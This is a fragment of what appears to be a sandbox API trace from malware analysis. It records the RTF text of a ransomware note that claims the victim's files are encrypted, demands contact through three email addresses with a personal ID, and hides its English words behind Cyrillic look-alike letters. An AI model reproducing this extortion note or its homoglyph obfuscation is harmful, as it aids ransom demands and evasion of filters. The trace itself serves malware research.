\\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0036.270] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1dae208, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 